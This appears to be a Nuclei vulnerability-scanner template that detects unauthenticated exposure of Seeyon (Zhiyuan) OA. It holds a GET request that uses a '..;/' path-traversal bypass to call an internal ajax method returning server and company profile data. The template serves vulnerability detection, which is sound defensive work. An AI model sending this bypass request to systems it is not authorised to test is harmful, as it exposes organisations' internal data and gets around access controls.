id: zhiyuan-oa-unauthorized

info:
  name: Zhiyuan Oa Unauthorized
  author: pikpikcu
  severity: low
  description: Zhiyuan Oa is exposed.
  reference:
    - https://buaq.net/go-53721.html
  metadata:
    max-request: 1
  tags: seeyon,unauth,zhiyuan,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "serverIdentifier"
          - "companyName"
        condition: and

      - type: word
        words:
          - "application/json"
        part: header

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cb6bc97849da1048df86e13e8108ce3a957bb1a598303f0032b0b3baec166adc022100b3c193da6db924d416845fb22c011e9775c2baa56d489b5db432ad5238d2b453:922c64590222798bb761d5b6d8e72950